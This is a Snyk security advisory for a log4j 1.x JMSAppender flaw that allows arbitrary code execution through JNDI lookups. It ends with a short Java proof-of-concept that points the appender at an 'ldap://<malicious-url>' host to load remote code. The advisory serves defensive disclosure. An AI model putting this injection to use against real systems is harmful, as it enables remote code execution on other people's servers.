Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningThere is no fixed version for log4j:log4j
.
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.
In order to leverage this vulnerability the following conditions must be met:
JMSAppender
(or a class that extends JMSAppender
)TopicBindingName
or TopicConnectionFactoryBindingName
configuration variables - which is an unlikely scenarioIf these conditions are met, log4j 1.x allows a lookup
feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.
import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();